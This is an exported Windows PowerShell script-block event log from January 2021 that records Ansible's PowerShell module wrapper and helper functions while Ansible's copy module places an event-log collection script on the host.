Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2303 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 724 | 2708 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:15 AM | 61e00a24-ee3b-0000-74b3-ee613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 9af39554-0faf-4c37-9789-7e5987b43002
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2302 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 724 | 4692 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:14 AM | 61e00a24-ee3b-0003-20e4-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: e9da1000-a093-40c6-b0ba-8837dee97401
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2301 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 724 | 4692 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:14 AM | 61e00a24-ee3b-0003-11e4-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 3):
GEgcHJvZ3Jlc3MgZGlhbG9nIGJveAogICAgICAgICAgICAkZGVzdF9wYXRoLkNvcHlIZXJlKCRlbnRyeSwgMTA0NCkKCiAgICAgICAgICAgICMgb25jZSBmaWxlIGlzIGV4dHJhY2VkLCB3ZSBuZWVkIHRvIHJlbmFtZSBpdCB3aXRoIG5vbiBiYXNlNjQgbmFtZQogICAgICAgICAgICAkY29tYmluZWRfZW5jb2RlZF9wYXRoID0gW1N5c3RlbS5JTy5QYXRoXTo6Q29tYmluZSgkZGVzdCwgJGVuY29kZWRfYXJjaGl2ZV9lbnRyeSkKICAgICAgICAgICAgTW92ZS1JdGVtIC1QYXRoICRjb21iaW5lZF9lbmNvZGVkX3BhdGggLURlc3RpbmF0aW9uICRlbnRyeV90YXJnZXRfcGF0aCAtRm9yY2UgfCBPdXQtTnVsbAogICAgICAgIH0KICAgIH0KfQoKaWYgKCRjb3B5X21vZGUgLWVxICJxdWVyeSIpIHsKICAgICMgd2Ugb25seSByZXR1cm4gYSBsaXN0IG9mIGZpbGVzL2RpcmVjdG9yaWVzIHRoYXQgbmVlZCB0byBiZSBjb3BpZWQgb3ZlcgogICAgIyB0aGUgc291cmNlIG9mIHRoZSBsb2NhbCBmaWxlIHdpbGwgYmUgdGhlIGtleSB1c2VkCiAgICAkY2hhbmdlZF9maWxlcyA9IEAoKQogICAgJGNoYW5nZWRfZGlyZWN0b3JpZXMgPSBAKCkKICAgICRjaGFuZ2VkX3N5bWxpbmtzID0gQCgpCgogICAgZm9yZWFjaCAoJGZpbGUgaW4gJGZpbGVzKSB7CiAgICAgICAgJGZpbGVuYW1lID0gJGZpbGUuZGVzdAogICAgICAgICRsb2NhbF9jaGVja3N1bSA9ICRmaWxlLmNoZWNrc3VtCgogICAgICAgICRmaWxlcGF0aCA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C1tZXNzYWdlICJvYmplY3QgYXQgZGVzdGluYXRpb24gcGFyZW50IGRpciAnJHBhcmVudF9kaXInIGlzIGN1cnJlbnRseSBhIGZpbGUiCiAgICAgICAgfSBlbHNlaWYgKC1ub3QgKFRlc3QtUGF0aCAtUGF0aCAkcGFyZW50X2RpciAtUGF0aFR5cGUgQ29udGFpbmVyKSkgewogICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0IC1tZXNzYWdlICJEZXN0aW5hdGlvbiBkaXJlY3RvcnkgJyRwYXJlbnRfZGlyJyBkb2VzIG5vdCBleGlzdCIKICAgICAgICB9CiAgICB9CgogICAgQ29weS1JdGVtIC1QYXRoICRzcmMgLURlc3RpbmF0aW9uICRyZW1vdGVfZGVzdCAtRm9yY2UgfCBPdXQtTnVsbAogICAgJHJlc3VsdC5jaGFuZ2VkID0gJHRydWUKfQoKRXhpdC1Kc29uIC1vYmogJHJlc3VsdAo=", "module_args": {"_ansible_version": "2.7.0", "src": "C:\\Users\\Admin\\AppData\\Local\\Temp\\ansible-tmp-1611050471.97-256601262185470\\source", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_ansible_no_log": false, "dest": "C:\\collect-event-log.ps1", "checksum": "f0e4c7145db8c7eba44bc8a5b81542c17749bbda", "_ansible_module_name": "copy", "_ansible_debug": false, "_ansible_verbosity": 3, "_ansible_keep_remote_files": false, "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "_original_basename": "collect-event-log.ps1", "_ansible_remote_tmp": "%TEMP%", "_ansible_diff": false, "mode": null, "_ansible_check_mode": false, "_ansible_shell_executable": "/bin/sh", "follow": false, "_ansible_tmpdir": "'C:\\Users\\Admin\\AppData\\Local\\Temp\\ansible-tmp-1611050471.97-256601262185470'"}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: e4a5dd9e-b7c0-4a75-9f7e-41dbc301401a
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2300 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 724 | 4692 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:14 AM | 61e00a24-ee3b-0003-0be4-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 3):
yA9ICJ5ZXMiLCAib24iLCAiMSIsICJ0cnVlIiwgMQogICAgJG9ial9zdHJpbmcgPSBbc3RyaW5nXSRvYmoKCiAgICBpZiAoKCRvYmogLWlzIFtib29sZWFuXSAtYW5kICRvYmopIC1vciAkYm9vbGVhbl9zdHJpbmdzIC1jb250YWlucyAkb2JqX3N0cmluZy5Ub0xvd2VyKCkpIHsKICAgICAgICByZXR1cm4gJHRydWUKICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuICRmYWxzZQogICAgfQp9CgpGdW5jdGlvbiBQYXJzZS1BcmdzKCRhcmd1bWVudHMsICRzdXBwb3J0c19jaGVja19tb2RlID0gJGZhbHNlKQp7CjwjCiAgICAuU1lOT1BTSVMKICAgIEhlbHBlciBmdW5jdGlvbiB0byBwYXJzZSBBbnNpYmxlIEpTT04gYXJndW1lbnRzIGZyb20gYSAiZmlsZSIgcGFzc2VkIGFzCiAgICB0aGUgc2luZ2xlIGFyZ3VtZW50IHRvIHRoZSBtb2R1bGUuCiAgICAuRVhBTVBMRQogICAgJHBhcmFtcyA9IFBhcnNlLUFyZ3MgJGFyZ3MKIz4KICAgICRwYXJhbXMgPSBOZXctT2JqZWN0IHBzb2JqZWN0CiAgICBJZiAoJGFyZ3VtZW50cy5MZW5ndGggLWd0IDApCiAgICB7CiAgICAgICAgJHBhcmFtcyA9IEdldC1Db250ZW50ICRhcmd1bWVudHNbMF0gfCBDb252ZXJ0RnJvbS1Kc29uCiAgICB9CiAgICBFbHNlIHsKICAgICAgICAkcGFyYW1zID0gJGNvbXBsZXhfYXJncwogICAgfQogICAgJGNoZWNrX21vZGUgPSBHZXQtQW5zaWJsZVBhcmFtIC1vYmogJHB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tZW50YXRpb24sIDEwNDQgbWVhbnM6CiAgICAgICAgICAgICMgIC0gMTAyNDogZG8gbm90IGRpc3BsYXkgYSB1c2VyIGludGVyZmFjZSBpZiBhbiBlcnJvciBvY2N1cnMKICAgICAgICAgICAgIyAgLSAgIDE2OiByZXNwb25kIHdpdGggInllcyB0byBhbGwiIGZvciBhbnkgZGlhbG9nIGJveCB0aGF0IGlzIGRpc3BsYXllZAogICAgICAgICAgICAjICAtICAgIDQ6IGRvIG5vdCBkaXNwbGF5I
ScriptBlock ID: e4a5dd9e-b7c0-4a75-9f7e-41dbc301401a
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2299 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 724 | 4692 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:14 AM | 61e00a24-ee3b-0003-0be4-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 3):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbn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IGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.Legacy": "IyBDb3B5cmlnaHQgKGMpLCBNaWNoYWVsIERlSGFhbiA8bWljaGFlbC5kZWhhYW5AZ21haWwuY29tPiwgMjAxNCwgYW5kIG90aGVycwojIFNpbXBsaWZpZWQgQlNEIExpY2Vuc2UgKHNlZSBsaWNlbnNlcy9zaW1wbGlmaWVkX2JzZC50eHQgb3IgaHR0cHM6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9CU0QtMi1DbGF1c2UpCgpTZXQtU3RyaWN0TW9kZSAtVmVyc2lvbiAyLjAKJEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICJTdG9wIgoKRnVuY3Rpb24gU2V0LUF0dHIoJG9iaiwgJG5hbWUsICR2YWx1ZSkKewo8IwogICAgLlNZTk9QU0lTCiAgICBIZWxwZXIgZnVuY3Rpb24gdG8gc2V0IGFuICJhdHRyaWJ1dGUiIG9uIGEgcHNvYmplY3QgaW5zdGFuY2UgaW4gUG93ZXJTaGVsbC4KICAgIFRoaXMgaXMgYSBjb252ZW5pZW5jZSB0byBtYWtlIGFkZGluZyBNZW1iZXJzIHRvIHRoZSBvYmplY3QgZWFzaWVyIGFuZAogICAgc2xpZ2h0bHkgbW9yZSBweXRob25pYwogICAgLkVYQU1QTEUKICAgIFNldC1BdHRyICRyZXN1bHQgImNoYW5nZWQiICR0cnVlCiM+CgogICAgIyBJZiB0aGUgcHJvdmlkZWQgJG9iaiBpcyB1bmRlZmluZWQsIGRlZmluZSBvbmUgdG8gYmUgbmljZQogICAgSWYgKC1ub3QgJG9iai5HZXRUeXBlKQogICAgewogICAgICAgICRvYmogPSBAeyB9CiAgICB9CgogICAgVHJ5CiAgICB7CiAgICAgICAgJG9iai4k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yAkYWxpYXNlcwoKICAgICAgICAjIEl0ZXJhdGUgb3ZlciBhbGlhc2VzIHRvIGZpbmQgYWNjZXB0YWJsZSBNZW1iZXIgJG5hbWUKICAgICAgICBmb3JlYWNoICgkYWxpYXMgaW4gJGFsaWFzZXMpIHsKICAgICAgICAgICAgaWYgKCRvYmouQ29udGFpbnNLZXkoJGFsaWFzKSkgewogICAgICAgICAgICAgICAgJGZvdW5kID0gJGFsaWFzCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJG51bGwgLWVxICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgI0F1dG8tZ2VuZXJhdGVkIGVycm9yIHNob3VsZCBiZSBzdWZmaWNpZW50IGluIG1vc3QgdXNlIGNhc2VzCiAgICAgICAgICAgICAgICAgICAgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlID0gIkdldC1BbnNpYmxlUGFyYW06IEFyZ3VtZW50ICRuYW1lIG5lZWRzIHRvIGJlIG9uZSBvZiAkKCRWYWxpZGF0ZVNldCAtam9pbiAiLCIpIGJ1dCB3YXMgJCgkb2JqLiRuYW1lKS4iCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICRWYWxpZGF0ZVNldEVycm9yTWVzc2FnZQogICAgICAgICA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pbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgLWFzIFtmbG9hdF0KICAgICAgICB9IGVsc2VpZiAoJHR5cGUgLWVxICJsaXN0IikgewogICAgICAgICAgICBpZiAoJHZhbHVlIC1pcyBbYXJyYXldKSB7CiAgICAgICAgICAgICAgICAjIE5vdGhpbmcgdG8gZG8KICAgICAgICAgICAgfSBlbHNlaWYgKCR2YWx1ZSAtaXMgW3N0cmluZ10pIHsKICAgICAgICAgICAgICAgICMgQ29udmVydCBzdHJpbmcgdHlwZSB0byByZWFsIFBvd2Vyc2hlbGwgYXJyYXkKICAgICAgICAgICAgICAgICR2YWx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ICJ0cnVlIiB8IENvbnZlcnRUby1Cb29sCiM+CiAgICBwYXJhbSgKICAgICAgICBbcGFyYW1ldGVyKHZhbHVlZnJvbXBpcGVsaW5lPSR0cnVlKV0KICAgICAgICAkb2JqCiAgICApCgogICAgJGJvb2xlYW5fc3RyaW5nc
ScriptBlock ID: e4a5dd9e-b7c0-4a75-9f7e-41dbc301401a
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2298 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 724 | 4692 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:14 AM | 61e00a24-ee3b-0003-0be4-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2297 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 724 | 3432 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:14 AM | 61e00a24-ee3b-0003-09e4-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
